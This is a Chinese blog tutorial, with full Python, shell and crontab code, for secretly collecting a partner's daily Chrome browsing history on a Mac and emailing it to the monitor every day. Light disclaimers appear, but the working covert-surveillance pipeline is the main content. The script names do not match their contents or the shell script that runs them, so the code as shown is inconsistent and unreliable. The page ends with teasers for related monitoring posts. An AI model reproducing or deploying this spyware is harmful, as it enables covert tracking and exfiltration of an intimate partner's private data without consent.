用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

Python竟然能监控抖音?这也太刺激了! 最近发现抖音有一个新功能,可以显示抖音的在线状态,如下图所示: 于是我突发奇想,决定用python监控一下某位好友的在线状态,没想到还有意外的收获。 本次监控主要用到python的appium库,关于appium的使用和安装,网站有很多教程,但是我一个都没试成功过,于是我一咬牙自己做了一套,教程在文末,不成功过来找我!!! 首先用appium客户端打开抖音,配置如下: { "platformName": "Android", "deviceName": "VOG-AL0... 阅读详情

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

背景:

(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?

答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History

History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite

去查看所有的信息,我们要的信息在urls表中

怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息

(2)怎么发送一个带附件的邮件?

答:使用python内置的email和smtplib两个模块去构造和发送邮件

(3)怎么把这些过程自动化?

答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行

准备

macOS Sierra

Python3.6

Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

 

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
 name, addr = parseaddr(s)
 return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
 # 设置附件的MIME和文件名,这里是py类型:
 mime = MIMEBase('result', 'txt', filename='result.txt')
 # 加上必要的头信息:
 mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
 mime.add_header('Content-ID', '<0>')
 mime.add_header('X-Attachment-Id', '0')
 # 把附件的内容读进来:
 mime.set_payload(f.read())
 # 用Base64编码:
 encoders.encode_base64(mime)
 # 添加到MIMEMultipart:
 msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在 result.txt中,下图就是我得到的部分结果

用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

 

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
 select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
 cursor.execute(select_statement)
except sqlite3.OperationalError:
 print("[!] The database is locked! Please exit Chrome and run the script again.")
 quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
 for i in range(len(results)):
 f.write(results[i][1]+'\n')
 f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地 址,下图是我得到的部分结果

用 Python监控了另一半的每天都在看的网站,我发现了一个秘密

 

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚 本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!!

问题:

1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码

答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心

2.访问History数据库时,显示The database is locked!

答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:

(1)关闭浏览器,再去访问

(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History

3.timestamp时间戳怎么转换的

答:last_visit_time是微秒,所以要除以10^6;

last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;

筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时

间小于1天的数据

4.crontab出错

答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!

5. 路径 问题

答:大家在复现的时候,要注意把 路径 改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。

总结:

1.运用python连接SQLite数据库,并执行sql操作

2.运用python发送邮件

3.运用shell和crontab建立自动化例行任务

4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强

展望:

1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台

2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!

最近女朋友天天沉迷刷抖音!还不给我看!Python监控一下她的抖音! 最近发现抖音有一个新功能,可以显示抖音的在线状态,如下图所示: 于是我突发奇想,决定用python监控一下某位好友的在线状态,没想到还有意外的收获。 本次监控主要用到python的appium库,关于appium的使用和安装,网站有很多教程,但是我一个都没试成功过,于是我一咬牙自己做了一套,教程在文末,不成功过来找我!!! 首先用appium客户端打开抖音,配置如下: { "platformName": "Android", "deviceName": "VOG-AL00", . 阅读详情

相关推荐

要过年了,最新的12306实时监控抢购车票软件已经写好了,这多亏我Python学的好

目录 一、效果展示 二、代码详解 1 导入库 2 确定好购票基本信息 3 登录12306 4 模拟滑动滑块 5 处理疫情特殊要求 6 点击购票并填写出发地、目的地、出发时间 7 锁定车票 三、实现监控购买 注意 环境 代码 大家有没有这种感觉,一到国庆、春节这种长假,抢火车票就非常困难?各大互联网公司都推出抢票服务,只要加钱给服务费就可以增加抢到票的几率。有些火车票代售网点和一些加速买票软件,说你只要给...

Python_kele的博客 1242

我希望,男女交友网站进入「甜蜜分众」世代

温哥华桑报(Vanocuver Sun)是我到温哥华念初中时,每早必读的精神食粮,但从没有这么一篇桑报的文章 ,让我看得这么兴奋的。这篇是在介绍一些「分众型」的男女交友网站,以及它们背后的「推手」。 你会发现,开网站原来还有这种开法! 其中一间叫「Passion Network 」,旗下已经开了110个 分众型的男女交友网站,包括给「科学教交友 」、「拥枪者交友 」(会不会太危险...

互联网 创意 程序员 创业 7万+

Keil调试技巧:3种方法查看Cortex-M4的SCB寄存器(含CPUID内存映射解析)

本文详细介绍了在Keil MDK中查看Cortex-M4内核SCB寄存器的三种实战方法:使用Watch窗口进行符号化观察、通过Memory窗口直接查看物理内存映射,以及利用SFR寄存器浏览器解析位域信息。文章重点解析了CPUID寄存器的内存映射地址(0xE000ED00)及其位域含义,帮助开发者深入理解处理器身份识别与底层调试技巧,提升嵌入式系统调试效率。

h6i7j8的博客 569

网站推荐

http://www.gotoandlearn.com/http://www.eurodns.com/user/index.phphttp://www.oado.com/down_list.asphttp://www.chinaui.comhttp://www.phpw.nethttp://www.phpchina.cnhttp://www.phpv.net/http://www.phpe.net

hfly2005的专栏 13万+

【随机过程】Markov Chain的定义及发展历程与实际应用

本模块书写的初衷:由于在学习张波张景肖等学者所著的《应用随机过程》存在着不甚了解的知识点,经过个人查找资料并整理、分享,希望能够为有同样疑惑的读者贡献绵薄之力,同时如果个人编写内容有错误,恳请读者指正。本文为对《应用随机过程》第42页中Markov Chain基本概念的补充。1.Markov Chain的定义俄国数学家 Andrey Andreyevich Markov 研究并提出一个用数学方法就能解释自然变化的一般规律模型,被命名为马尔科夫链(Markov Chain)。

qq_49657150的博客 3745

【Ultrascale+ MPSOC学习记录】10、PS端以太网使用lwip

还是参考ALINX教程,学习PS端以太网如何使用,从教程中可以看到,开发板使用了一个xilinx默认不支持的phy JL2121,所以需要修改lwip的库源码。

ryo891012的博客 881

Match.com被逼做DownToEarth免费交友社群,社群网站也可转战男女交友!

最近才刚传出Yahoo!印度分公司准备推出属于印度人的SpotM交友网站 ,但昨天在Mashable又有一篇关于交友网站更有趣的文章 ,它喊出:「男女交友网站付费时代已经过去 !」 你说,不对啊,这件事早就老掉牙咧。早在知名的多伦多创业家Markus Frind创造PlentyOfFish免费交友网站,以Google AdSense收费,曾经创下一天一万美元(33万台币...

互联网 创意 程序员 创业 3万+

UG NX 12.0零基础实战:从草图绘制到三维建模全流程解析

本文详细解析UG NX 12.0从草图绘制到三维建模的全流程,适合零基础用户快速掌握这款工业设计软件。内容涵盖界面设置、基础操作、草图技巧、拉伸旋转建模、布尔运算等核心功能,并通过机械零件实战案例演示完整设计流程,帮助读者系统学习UG NX 12.0的工业设计应用。

weixin_29261711的博客 1176

四个福利性在线网站分享,每一个都让你欲罢不能……

随着社会的不断发展,我们网络上的一些资源就像雨后春笋一般的拔地而起,许多东西我们的来不及上车就被新的事物给掩盖了,但是对于一些好用的网站来说是真的很不错,小编今天就和你们分享一些最具福利性的在线网站! 你们准备好了吗?老司机准备发车了: 一.TinEye.com—图片搜索引擎 如果你的电脑或者你的手机里有一张不知道哪里来的图片,你想要将图片的源地址给找出来该怎么做?一般的时候我们都是束手无策,但是有了这个网站就不一样,可以图片上传带上去进行查找...

weixin_43363835的博客 430万+

Claude Code插件安装与VSCode深度集成实战指南

Claude Code是一款专为IDE设计的AI编程助手插件,其核心价值在于将自然语言意图转化为可运行代码,从而优化开发者认知带宽分配。它依赖Node.js运行时、git版本上下文和VSCode编辑器API三者协同工作,技术原理涉及本地进程通信、权限策略绕过、上下文感知补全等关键机制。该工具显著提升工程效率,适用于CLI开发、EXIF元数据处理、异步逻辑生成等典型JavaScript/TypeScript应用场景。本文聚焦Claude Code插件在VSCode中的真实落地链路,覆盖Windows/macO

weixin_34006468的博客 474

【ESP32-IDF】I2S音频协议实战:从PDM麦克风到PCM扬声器的全链路解析

本文深入解析ESP32-S3的I2S音频协议,从PDM麦克风采集到PCM扬声器输出的全链路实现。详细介绍了硬件PDM转PCM、Standard模式配置及混合模式协同工作,提供实战代码与性能优化建议,助力开发者高效完成嵌入式音频项目开发。

pea55的博客 888

大量情侣网站(附情侣站让程序猿不再单身)

狗粮之下,没有一个程序员是无辜的 现在很多人都想通过婚恋平台来找对象,当然我们在找的时候一定要选择靠谱的平台,哪个婚恋平台靠谱?下面给大家盘点下婚恋网站祝福程序员早日脱单。 1、一线姻缘 一线姻缘平台的特色:没有机器人,也没有系统发信,普通人平台,上面有很多免费服务,平台审核很严格,很重视大家婚恋安全,找对象成功的几率高,虽然名气不是很大,但网上的好评很多,算是现在口碑比较好的一家婚恋平台。

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 29万+

最小二乘法(看完即会)

其中,X是数据矩阵,每一行是一个数据点,每一列是一个自变量(包括截距项),Y是观测值向量,β是待求的系数向量。为了找到使S最小的a和b的值,我们需要对S求关于a和b的偏导数,并令它们等于零。最小二乘法的数学公式通常用于线性回归问题,其中目标是找到一条直线(或更高维度的超平面),使得这条直线与给定数据点的误差平方和最小。同样地,通过求偏导数和令偏导数等于零,我们可以得到一个线性方程组,解这个方程组可以找到最优的b_0, b_1, …+ b_m*x_m,其中b_0是截距,b_1到b_m是各个自变量的系数。

qlkaicx的博客 2万+

python监控数据库数据变化_用 Python监控了另一半的每天都在看的网站,我发现了一个秘密...

阅读文本大概需要 5 分钟。需求:!(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了背景:(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?答:路径:/Users/用户名/Librar...

weixin_39851048的博客 807

使用modelscope加载报错:ImportError: cannot import name ‘AutoTokenizer’ from ‘modelscope’...如何解决?| 提供多种解决方案

🏆本文收录于 《全栈Bug调优(实战版)》 专栏,该专栏专注于分享我在真实项目开发中遇到的各类疑难Bug及其深层成因,并系统提供高效、可复现的解决思路和实操方案。无论你是刚入行的新手开发者,还是拥有多年项目经验的资深工程师,本专栏都将为你提供一条系统化、高质量的问题排查与优化路径,助力你加速成长,攻克技术壁垒,迈向技术价值最大化与职业发展的更高峰🚀!

**My Coding Family** 1243

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

用 Python 监控了女朋友每天都在看的网站,我发现了一个秘密

点击“开发者技术前线”,选择“星标????”13:21 在看|星标|留言, 真爱来源:Python高校阅读文本大概需要 5 分钟。需求:(1) 获取你对象chrome前一天的浏览记录中...

开发者技术前线-DevolperFront 401

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

用编程语言监控了女朋友每天都在看的网站,我发现了一个秘密

点击“开发者技术前线”,选择“星标”让一部分开发者先看到未来来源:凹凸域需求:(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中(2)将...

开发者技术前线-DevolperFront 438

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Python股票监控机器人,加强版!

上次我们用Python做了一个股票盯盘的机器人(用 Python 做了一个 "盯盘机器人"),光盯盘肯定是不够,我需要这个机器人能做一些简单的分析,于是我们就做了一个加强版,通过简单的均线...

cainiao_python的博客 4170

商品价格监控背后的秘密:Python自动化脚本深度解析(含反爬策略)

掌握商品价格监控Python自动化技巧,轻松应对电商比价与库存预警。本文深入解析爬虫架构、动态数据抓取及反爬应对策略,实现高效稳定的价格监控,提升决策效率,值得收藏。

QuickTrans的博客 1803

神器推荐!一个能监控文件变化的Python神器—看门狗

假设现在有一个应用场景,需要对文件系统进行监控,发生变化时产生日志,对新增的文件做一些相应的操作。比如说应用到我们之前的音乐高潮提取器:若当前文件夹下增加了一个音乐文件,监控器就调用音乐高...

cainiao_python的博客 660

如何构建高效爬虫管理平台?Python实战指南揭示秘密!

摘要: 面对大数据时代的信息洪流,如何高效、稳定地采集并处理数据成为企业与开发者的关键命题。本文将深入探讨爬虫管理平台的核心要素,通过实战Python代码示例,展示如何构建一个能够应对海量任务、集成第三方应用、实现数据高效存储与监控的爬虫系统,助力您的数据采集之旅。 关键词: 爬虫管理平台 Python爬虫 数据采集 任务调度 监控告警 一、引言:数据之海,爬虫为舟 在这个信息爆炸的时代,数据如同深邃海洋中的宝藏,等待着我们去发掘。而Python爬虫,

zhou6343178的博客 1188

我用 Python + AI 做了一套 SEO 优化工具:从关键词挖掘到排名监控,流量翻倍的秘密

本文介绍了一套用Python+AI构建的SEO工具链,包括关键词挖掘、竞品分析、内容优化和排名监控四大模块。通过自动化SEO流程,该系统能提升10倍效率,帮助网站持续获取免费流量。工具链采用模块化设计,包含关键词挖掘器(从搜索引擎提取相关词)、竞品分析器(解析对手页面结构)、AI内容优化(生成SEO建议)和排名监控(追踪搜索排名)。这套方案特别适合开发者和小型团队低成本实现SEO自动化。

haoxinpoju的博客 436

我分析了虎嗅网5万篇文章,发现这些秘密

本文转自:https://mp.weixin.qq.com/s?__biz=MzAxMjUyNDQ5OA==&amp;mid=2653558174&amp;idx=1&amp;sn=4f4c1b389a92bf43c4142736f908fddc&amp;chksm=806e3b23b719b2358c1bc3cd59fde58276173605806354e4ad8c6e324721f6a8a...

shanlipeng998的博客 2366

Google Dorking实战:inurl与filetype语法快速发现网站敏感信息

搜索引擎高级语法是网络安全信息收集与攻击面评估的核心技术之一。其原理在于利用搜索引擎对互联网公开数据的强大索引能力,通过特定语法组合,实现对目标资产中特定路径、文件类型等特征的精准定位。这项技术的核心价值在于,它提供了一种合法、公开且高效的方式,帮助安全从业者或系统管理员以攻击者视角审视自身暴露面,实现主动防御。在应用场景上,它广泛用于渗透测试的信息收集阶段、企业安全自评估以及开源情报(OSINT)收集。例如,通过组合使用`inurl`和`filetype`语法,可以系统性地发现暴露的管理后台、配置文件、数

weixin_34090562的博客 341

2024年最新摸鱼被监控!别怕,用 Python 写摸鱼监控神器!

本文主要通过pynput这个 python 模块讲解一下怎么记录键盘和鼠标的操作。这几行简单的代码对于监控输入密码之类的简单操作可以使用,但是对于聊天记录之类的复杂语句,你还需要针对日志用 NLTK 语言处理,才能复原你的聊天记录。有兴趣的同学可以火速加入我们的星球3周零基础入门提供10节课程全年12节趣味实战项目含源码,每月奖励优秀的Top3同学送书专业的答疑群,大厂的老师保姆式的教学如果不满意,三天内随意退款!

2401_84558870的博客 1344
上一篇: Linux环境(服务器)下非root用户安装Python3.6
下一篇: Python最好IDE:Pycharm使用小技巧总结,让你写代码更为舒适
python588
博客等级 码龄7年 338粉丝 132原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值